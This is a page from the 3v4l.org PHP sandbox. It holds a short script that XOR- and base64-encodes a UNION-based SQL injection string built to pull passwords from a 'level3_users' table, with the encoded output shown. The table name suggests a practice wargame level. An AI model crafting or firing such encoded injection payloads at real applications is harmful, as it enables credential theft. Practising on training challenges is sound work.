3v4l.org

run code in 300+ PHP versions simultaneously
<?php function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("Admin ' and 1 = 0 union select 1,2,3,4,5,6 password from level3_users where username=Admin")); ?>
Output for git.master, git.master_jit, rfc.property-hooks
MTI5MTY0MTczMTY5MTc0MjI0MjMxMjI0MTYxMTc0MTY0MjI0MjQxMjI0MjUzMjI0MjQwMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MjQyMjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MjQ2MjI0MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMTI5MTY0MTczMTY5MTc0

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
57.2 ms | 402 KiB | 8 Q